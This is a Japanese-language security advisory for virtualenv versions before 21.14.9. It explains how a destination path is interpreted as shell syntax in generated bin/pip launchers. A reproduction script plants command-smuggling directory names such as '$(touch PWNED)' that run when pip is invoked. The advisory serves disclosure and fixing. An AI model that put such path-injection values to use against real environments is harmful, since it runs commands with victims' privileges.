virtualenv: 生成されたPOSIXコンソールランチャーは、宛先パスをシェル構文として解釈する

## 概要

virtualenvに渡された宛先パスは、生成されたPOSIXコンソールランチャーによってシェル構文として解釈される可能性があります。
app-dataシードとpipは、ランチャーの生成をdistlibに委譲しますが、インタープリターのパスを、シェルラッパー内でリテラルデータとして保持されない形式で渡します。

## 影響範囲

app-dataシードまたはpipによって生成されたPOSIXコンソールスクリプトのうち、インタープリターのパスがシェルラッパーを必要とする場合に影響を受けます。
Windows実行可能ファイルランチャーは、このパスの影響を受けません。

## 攻撃者による制御入力

攻撃者は、virtualenvに渡される環境の宛先を操作し、ユーザーが生成されたランチャーを実行する必要があります。
攻撃者は、インストール済みの実行ファイルを変更したり、ユーザーのapp-dataキャッシュを制御したりする必要はありません。

## 影響を受けるコード

関連するコードは、21.14.8のソースコードにあります。
[ScriptMakerCustom](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py)。

## 仕組み

app-dataシードは、環境のインタープリターパスを`enquote_executable()`を通じてdistlibの`ScriptMaker`に渡します。
パスにスペースが含まれている場合は、ダブルクォーテーションを追加しますが、ダブルクォーテーション内のシェル展開はエスケープされません。
パスにスペースが含まれている場合、またはシバン(shebang)が127バイトを超える場合、distlibは`#!/bin/sh`というラッパーを生成し、その行は`'''exec' "<path>" "$0" "$@"`という形式になります。
ランチャーが実行される際、このシェルはパス内の`$(...)`やバッククォートを展開します。
同じラッパーはPythonとしても解釈される必要があり、これにより追加のクォーテーションやバックスラッシュのケースが発生します。
環境の作成とアクティベーションは、このシェルペイロードをトリガーしません。

## 再現と証拠

スキャナは、以下の3つの環境を作成しました。1つは`my -touch PWNED-`プロジェクトの下、もう1つは`my $(touch PWNED)`プロジェクトの下、そして3つ目は、127バイトを超えるパスで、末尾が`$(touch${IFS}PWNED)`となっている環境です。それぞれの環境は、`PWNED`ファイルを作成せずに作成されました。生成された`bin/pip --version`を実行すると、どちらの攻撃ケースでも`PWNED`ファイルが作成されました。一方、コントロール環境では、ファイルは作成されませんでした。長いパスのケースでは、スペースなしでシェルラッパに到達しました。これにより、シード時ではなく、生成されたランチャによって、ユーザーの権限で実行が行われます。

レポートによると、app-dataシードのdistlibランチャ統合は#1579で、最初に20.0.2でリリースされました。
[PR #3417](https://github.com/pypa/virtualenv/pull/3417)では、POSIXラッパの生のインタプリタパスが引用され、pipシードによって記述されたランチャが修正されています。pip自身のdistlibは、後続のpipインストールまたはアップグレード中に、再び脆弱なラッパを作成する可能性があります。提案されたvirtualenvの修正は、pipのバンドルされたコードを変更しません。メンテナが提供したフォローアップレビューでは、後続のパスが個別に報告されています。

## 攻撃シーケンス

```mermaid
sequenceDiagram
participant A as 宛先プロバイダ
participant V as virtualenvシード
participant D as distlib ScriptMaker
participant S as 生成されたbin/pip
participant U as ユーザー
A->>V: パスに$(touch PWNED)が含まれる
V->>D: 不完全なシェル引用を含むインタプリタパスを渡す
D->>S: /bin/shラッパを書き込む
Note over V,S: 作成またはアクティブ化中にペイロードは実行されない
U->>S: pip --version
S->>S: シェルがパスを展開し、touchを実行する
S-->>U: ユーザーの権限でPWNEDが表示される
```

## 再現ファイル

以下は、`ANT-2026-5DZVLGL1`の脆弱性スキャナレポートからのファイルです。これらのファイルは、スキャナイメージのコミット`a857a7823c73`に対してテストされました。`repro`のエントリーポイントは、`/tmp/repro.d`ディレクトリに付属ファイルが必要であり、ユーザーIDを変更する場合には、一時的なroot権限を持つコンテナが必要です。報告された問題が発生した場合、最後の出力行は`BUG`となります。これらのファイルは証拠として含まれており、このアドバイザリの更新のために再実行されていません。

**`repro`**

```text
#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path

WORK = Path("/tmp/repro-console-script")

# 攻撃者の入力全体: 環境より上位のディレクトリ名(リポジトリ、プロジェクトフォルダ)。
DIRECTORY_NAMES = {
"CONTROL": "my -touch PWNED- project",
"OBSERVED": "my $(touch PWNED) project",
# スペースなし: distlibも、"#!<dest>/bin/python"が127バイトを超える場合に、/bin/shランチャーを選択します。
"OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)",
}

shutil.rmtree(WORK, ignore_errors=True)
pip_printed = {}
created_by_pip = {}
for label, name in DIRECTORY_NAMES.items():
# ペイロードには"/"を含めることができないため、相対パスのPWNEDを作成します。各ケースには、独自の空の作業ディレクトリが割り当てられます。
cwd = WORK / label / "cwd"
venv = WORK / label / name / "venv"
cwd.mkdir(parents=True)

# セットアップ: ユーザーはデフォルトオプションでその環境を作成します(--no-periodic-updateはオフライン状態を維持します)。
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True)
assert list(cwd.iterdir()) == [], "環境の作成は何も作成してはなりません"

# トリガー: ユーザーはシードされたpipを実行します。argvはリストであるため、名前を読み取るのはbin/pip自身のシェルだけです。
pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, capture_output=True, text=True)
pip_printed[label] = pip.stdout
created_by_pip[label] = sorted(p.name for p in cwd.iterdir())
```

```
launcher = (venv / "bin" / "pip").read_text().splitlines()
print(f"{label}: ディレクトリ名 {name!r}")
print(f" bin/pip の1行目: {launcher[0]}")
print(f" bin/pip の2行目: {launcher[1]}")
print(f" bin/pip --version の出力: {(pip.stdout + pip.stderr).strip()}")
print(f" 作業ディレクトリに作成されたファイル (bin/pip): {created_by_pip[label]}")

# 確認: ディレクトリ名はデータであり、pipの起動はpipの実行のみを意味する
control_ok = pip_printed["CONTROL"].startswith("pip ") and created_by_pip["CONTROL"] == []
attack_ran = created_by_pip["OBSERVED"] == ["PWNED"] and created_by_pip["OBSERVED_LONG"] == ["PWNED"]
print("BUG" if control_ok and attack_ran else "OK")

## 影響範囲と残存リスクの修正

PR #3417 では、app-data seederによるランチャーの生成方法が変更され、pip seeding後のPOSIXシェルラッパーが修正されました。
pip-seederの修正では、同じ引用ルールが使用され、インストールされたRECORDのハッシュ値とサイズが更新されます。ただし、pipのバンドルされたdistlibは変更されません。

後で独立してpipをインストールまたはアップグレードすると、修正されたランチャーが影響を受けたランチャーに置き換わる可能性があります。既存のランチャーは、virtualenvのみをアップグレードしても修正されません。修正されたvirtualenvを使用して環境を再作成し、信頼できる宛先パスを使用してください。再作成しても、後でpipによって書き換えられるランチャーは保護されません。
後続のレビューでは、以前のpip seederとpipのアップグレード後に再現されることが報告されています。これらの結果は、レビュー担当者に帰属します。

## 影響

影響を受けたランチャーを実行すると、呼び出し元のユーザーの権限でコマンドが実行される可能性があります。深刻度: 高、CVSS 7.8、
`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`。これは、プロジェクトの
[生成スクリプトに関する規定](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2) に基づいています。この脆弱性のベクトルは、攻撃者が制御するパスデータと、ユーザーがその結果として生成されたランチャーを実行する場合を想定しています。事前に被害者の権限は必要なく、コマンドの実行が成功すると、ユーザーのデータやプロセスに影響を与える可能性があります。
```

## テストされたバージョン

開発者は、バージョン21.14.8で報告された問題が検証されたことを確認しました。 その後の調査では、修正されていないupstream/mainで問題が再現されることが確認されました。影響を受けるランチャーの統合と依存関係の宣言は、バージョン21.14.8から変更されていません。 最初に影響を受けたバージョンは特定されていません。 バージョン21.14.9で修正されました。

## 既知の回避策

信頼できるユーザーが選択した環境を使用してください。 古いバージョンでは、信頼できない入力から派生した場所で環境を生成しないようにしてください。

## 影響を受けるバージョン

- [x] 問題はvirtualenv 21.14.8で再現されます。

## 貢献者

AnthropicのOSS Scannerによって、ANT-2026-5DZVLGL1として報告されました。

影響を受けるパッケージ:
- pip (Python) virtualenv: 影響を受けるバージョンは21.14.9未満、21.14.9で修正されました。